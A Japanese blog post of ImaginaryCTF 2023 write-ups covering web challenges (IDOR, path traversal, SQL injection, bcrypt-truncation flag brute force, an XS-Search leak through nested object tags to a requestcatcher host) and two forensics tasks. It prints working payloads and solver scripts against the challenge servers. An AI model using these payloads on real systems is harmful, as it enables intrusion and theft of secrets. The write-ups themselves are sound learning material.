ImaginaryCTF 2023 Writeups - はまやんはまやんはまやん

はまやんはまやんはまやん

hamayanhamayan's blog

ImaginaryCTF 2023 Writeups

[web] Idoriot

ログインページが与えられる。

<?php

session_start();

// Check if user is logged in
if (!isset($_SESSION['user_id'])) {
    header("Location: login.php");
    exit();
}

// Check if session is expired
if (time() > $_SESSION['expires']) {
    header("Location: logout.php");
    exit();
}

// Display user ID on landing page
echo "Welcome, User ID: " . urlencode($_SESSION['user_id']);

// Get the user for admin
$db = new PDO('sqlite:memory:');
$admin = $db->query('SELECT * FROM users WHERE user_id = 0 LIMIT 1')->fetch();

// Check if the user is admin
if ($admin['user_id'] === $_SESSION['user_id']) {
    // Read the flag from flag.txt
    $flag = file_get_contents('flag.txt');
    echo "<h1>Flag</h1>";
    echo "<p>$flag</p>";
} else {
    // Display the source code for this file
    echo "<h1>Source Code</h1>";
    highlight_file(__FILE__);
}

?>

user_id=0のユーザー名と同じユーザー名を作ればよさそうだが、
試しにadminをユーザー名として作成しようとしたが失敗する。
通信ログを見てみると、ユーザー作成時にuser_idも指定されている。

POST /register.php HTTP/1.1
...
Connection: close

username=samechan&password=asdfjiaejrasjfiewafjsdkafjiawejriae&user_id=511839268

任意のuser_idを強制することができそう。

POST /register.php HTTP/1.1
...
Connection: close

username=samechan&password=asdfjiaejrasjfiewafjsdkafjiawejriae&user_id=0

こうするとuser_id=0のusernameが変更でき、フラグが得られる。

[web] idoriot revenge

フラグもらえる条件が変わっている。

<?php

session_start();

// Check if user is logged in
if (!isset($_SESSION['user_id'])) {
    header("Location: login.php");
    exit();
}

// Check if session is expired
if (time() > $_SESSION['expires']) {
    header("Location: logout.php");
    exit();
}

// Display user ID on landing page
echo "Welcome, User ID: " . urlencode($_SESSION['user_id']);

// Get the user for admin
$db = new PDO('sqlite:memory:');
$admin = $db->query('SELECT * FROM users WHERE username = "admin" LIMIT 1')->fetch();

// Check user_id
if (isset($_GET['user_id'])) {
    $user_id = (int) $_GET['user_id'];
    // Check if the user is admin
    if ($user_id == "php" && preg_match("/".$admin['username']."/", $_SESSION['username'])) {
        // Read the flag from flag.txt
        $flag = file_get_contents('/flag.txt');
        echo "<h1>Flag</h1>";
        echo "<p>$flag</p>";
    }
}

// Display the source code for this file
echo "<h1>Source Code</h1>";
highlight_file(__FILE__);
?>

以下のように条件をそろえるとフラグ。

  • $user_id == "php"
    • クエリストリングで?user_id=phpをつけてやればいい
  • preg_match("/".$admin['username']."/", $_SESSION['username'])
    • 正規表現/admin/にマッチするようログインするユーザー名を作ればいいが、どこかにadminがあればいいので、適当にユーザー名をadminadminにした

[web] roks

/flag.pngを取得したい。
よくみると/file.phpパストラバーサル脆弱性がある。

<?php
  $filename = urldecode($_GET["file"]);
  if (str_contains($filename, "/") or str_contains($filename, ".")) {
    $contentType = mime_content_type("stopHacking.png");
    header("Content-type: $contentType");
    readfile("stopHacking.png");
  } else {
    $filePath = "images/" . urldecode($filename);
    $contentType = mime_content_type($filePath);
    header("Content-type: $contentType");
    readfile($filePath);
  }
?>

/と.があると弾かれるのでパストラバーサルが難しそうな雰囲気はあるが、
よく見ると、urldecodeが判定後に使用されている。
なのでurlエンコードをした状態で判定を通して、そのあとurlデコードして目的のパストラバーサル向けファイル名になるようにしてやればいい。
具体的にはGET /file.php?file=%25252E%25252E%25252F%25252E%25252E%25252F%25252E%25252E%25252F%25252E%25252E%25252Fflag%25252Epngでフラグが獲得できる。

[web] blank

ユーザー名がadminでログインできればGET /flagでフラグが得られる。
POST /loginで明らかなSQL Injectionがある。

app.post('/login', (req, res) => {
  const username = req.body.username;
  const password = req.body.password;

  db.get('SELECT * FROM users WHERE username = "' + username + '" and password = "' + password+ '"', (err, row) => {
    if (err) {
      console.error(err);
      res.status(500).send('Error retrieving user');
    } else {
      if (row) {
        req.session.loggedIn = true;
        req.session.username = username;
        res.send('Login successful!');
      } else {
        res.status(401).send('Invalid username or password');
      }
    }
  });
});

入力のusernameがそのままセッションに保存されるのでadminにすればいいが、passwordは自由に指定可能。
DBは空なので、単純に全部出すようなpayloadではなくunionで応答があるようにする。

username: admin
password: " union select 0,"","" --

これでGET /flagすればフラグ獲得。

[web] Login

/?sourceソースコードが得られる。

<?php

if (isset($_GET['source'])) {
    highlight_file(__FILE__);
    die();
}

$flag = $_ENV['FLAG'] ?? 'jctf{test_flag}';
$magic = $_ENV['MAGIC'] ?? 'aabbccdd11223344';
$db = new SQLite3('/db.sqlite3');

$username = $_POST['username'] ?? '';
$password = $_POST['password'] ?? '';
$msg = '';

if (isset($_GET[$magic])) {
    $password .= $flag;
}

if ($username && $password) {
    $res = $db->querySingle("SELECT username, pwhash FROM users WHERE username = '$username'", true);
    if (!$res) {
        $msg = "Invalid username or password";
    } else if (password_verify($password, $res['pwhash'])) {
        $u = htmlentities($res['username']);
        $msg = "Welcome $u! But there is no flag here :P";
        if ($res['username'] === 'admin') {
            $msg .= "<!-- magic: $magic -->";
        }
    } else {
        $msg = "Invalid username or password";
    }
}
?>

まずはmagicを手に入れないとフラグが入ってこないので、magicを特定しよう。
SQL Injectionがあるので、SQLの実行結果は任意のusernameとpwhashを指定することができる。
つまり、入力したpasswordが作り出したpwhashで検証可能であり、usernameをadminにしておけばmagicが手に入る。

username: aaaaa' union select 'admin', '$2y$10$nNya64FW5wFMi3dlM6McuuuoM1Rpk4QLm7nbJlemdMRl31em/E4S6' --
password: a

usernameのハッシュはphpecho password_hash("a", PASSWORD_BCRYPT);のように作ればよい。
これでmagicが得られたので、?688a35c685a7a654abc80f8e123ad9f0というのを付ければパスワードにフラグを付けてくれるようになる。
さて、パスワードの末尾に追加されたフラグをどのように抜き取っていこうか。

password_verifyについて有名な脆弱点として、password_hashでアルゴリズムをPASSWORD_BCRYPTとして使うと、
password が最大 72 バイトまでに切り詰められるというものがある。
以下のコードでそれを確認可能。

<?php
$plain     = "123456789012345678901234567890123456789012345678901234567890123456789012";
$challenge = "123456789012345678901234567890123456789012345678901234567890123456789012extended";
echo password_verify($challenge, password_hash($plain, PASSWORD_BCRYPT));

これをうまく使うことでフラグを特定できる。
例えば、passwordとしてAを71文字入力したとき、末尾にフラグが追加されると、

AAA...AAAictf{??????????}

のような形となる。しかし、password_verifyでの検証は先頭72文字に対してのみ行われるので、

AAA...AAAi

を検証することになる。なので、password_hash("AAA...AAAi", PASSWORD_BCRYPT)というのをpwhashとして指定すれば認証が通る。
次に、Aを70個にすると、AAA...AAAicの検証になる。
これも先頭はicだと分かっているので、password_hash("AAA...AAAic", PASSWORD_BCRYPT)をpwhashに入れればよい。
これを進めていくと、AAA...AAAictf{までは既知であるが、その次が分からない。
分からないが、ここまでの流れを確認すると先頭から1文字ずつどの文字であるかが検証可能であることが分かる。
なので、次はAAA...AAAictf{?であるが、

AAA...AAAictf{a
AAA...AAAictf{b
...

のようにすべての文字を全探索して検証が通るものを探すことで先頭から1文字ずつ文字を特定していくことができる。
以下のようなスクリプトで抜き出せる。

import subprocess
import requests
import time

flag = 'ictf{why_are_bcrypt_truncating_my_pa'
for _ in range(20):
    for c in "qwertyuiopasdfghjklzxcvbnm1234567890{_}!?":
        print('[*] testing ' + c)
        pwhash = subprocess.run(["php", "a.php", "A"*(71 - len(flag))+flag+c], capture_output=True).stdout.decode('utf-8')
        username = "aaaaa' union select 'admin', '" + pwhash + "' -- "
        password = "A"*(71 - len(flag))
        res = requests.post('http://login.chal.imaginaryctf.org/?688a35c685a7a654abc80f8e123ad9f0', data={'username':username,'password':password}).text
        time.sleep(1)
        if 'Welcome admin!' in res:
            flag = flag + c
            print('[!] found! ' + flag)
            break

[web] amogus

まず、auth.supersus.corpのURLをレポートするが、以下のようにGET /のクエリストリングerrorにHTMLコードを入れてHTML Injectionはできる。

http://auth.supersus.corp/?error=%3Cs%3Exss%3C/s%3E

しかし、nginx側で以下のようなCSPが設定されているので何とかする必要がある。

sandbox allow-forms allow-same-origin;
img-src *;
default-src none;
style-src 'self';
script-src none;
object-src http: https:;
frame-src http: https:;" always;

仕様を見ると最終的には完全にコレだが、XSSできないしなぁ…
https://xsleaks.dev/docs/attacks/error-events/
と思ってむっちゃググると、むちゃくちゃ使えそうなテクがあった。
https://book.hacktricks.xyz/pentesting-web/xs-search#onload-timing

<object data="http://mail.supersus.corp/emails/1?search=ictf{">
  <object data="https://[yours].requestcatcher.com/error1"></object>
</object>
<object data="http://mail.supersus.corp/emails/1?search=jctf{">
  <object data="https://[yours].requestcatcher.com/error2"></object>
</object>

error2のみで応答がある。ok

https://docs.sqlalchemy.org/en/14/core/sqlelement.html#sqlalchemy.sql.expression.ColumnOperators.contains
containsはLIKE文として評価されるらしく、アンダーバーを工夫しないといい感じに取れないので注意。
(後Case Sensitiveっぽいのもちょっと嫌な所だが、全部小文字だったので事なきを得た)
ソルバー書きをさぼって、全文字送って手動で応答がないものを取得してきた。
一気に送れないので以下のような感じでobjectタグを一斉送信する。

from pwn import *
import urllib.parse

dic = "!0123456789?abcdefghijklmnopqrstuvwxyz"
      #!012 456789?abcdefghijklmnopqrstuvwxyz

for d in range((len(dic) + 4) // 5):
    all_text = ''
    for c in dic[d * 5:(d + 1) * 5]:
        text = '<object data="http://mail.supersus.corp/emails/1?search=ictf{i_guess_the_impostor_leaked_al'
        text += c
        text += '"><object data="https://[yours].requestcatcher.com/error'
        text += c
        text += '"></object></object>'
        all_text += text
    payload = 'http://auth.supersus.corp/?error=' + urllib.parse.quote(all_text)

    p = remote("amogus-admin-bot.chal.imaginaryctf.org", 1337)
    p.recvrepeat(3)
    p.send(payload)
    p.recvrepeat(3)
    p.close()

全ての文字をobjectで送るとヒットしたもののみrequestcatcherに応答が送られない。
なので、応答がない文字をつなぎ合わせていけばフラグが手に入る。

[forensics] web

firefoxのプロファイルが配布される。

https://github.com/Busindre/dumpzilla
これをつかって、プロファイルを解析して眺めてみる。
すると、以下のサイトが見つかる。

https://yoteachapp.com/password/64ab39b5b13dfb00148ea72f

パスワードがかかっているので、保存されたパスワードをダンプしてみる。
https://github.com/unode/firefox_decrypt

UeMBYIbgPqNiSWzOVguTbccMOnLirDoEGTjgiqNrbOvwzynbyN

これで開くとチャットサイトがあり、フラグが書いてあった。

[forensics] blurry

画像を鮮明化してQRコードを読み取る。

https://photobooth.online/ja-jp/image-enhancer/upload
「画像鮮明化」で検索でてきた、死ぬほど怪しいサイトに通して
これが鮮明化か???みたいな状態になったQRコードiPhoneのカメラにかざすと何故か鮮明になっているらしくフラグが得られた。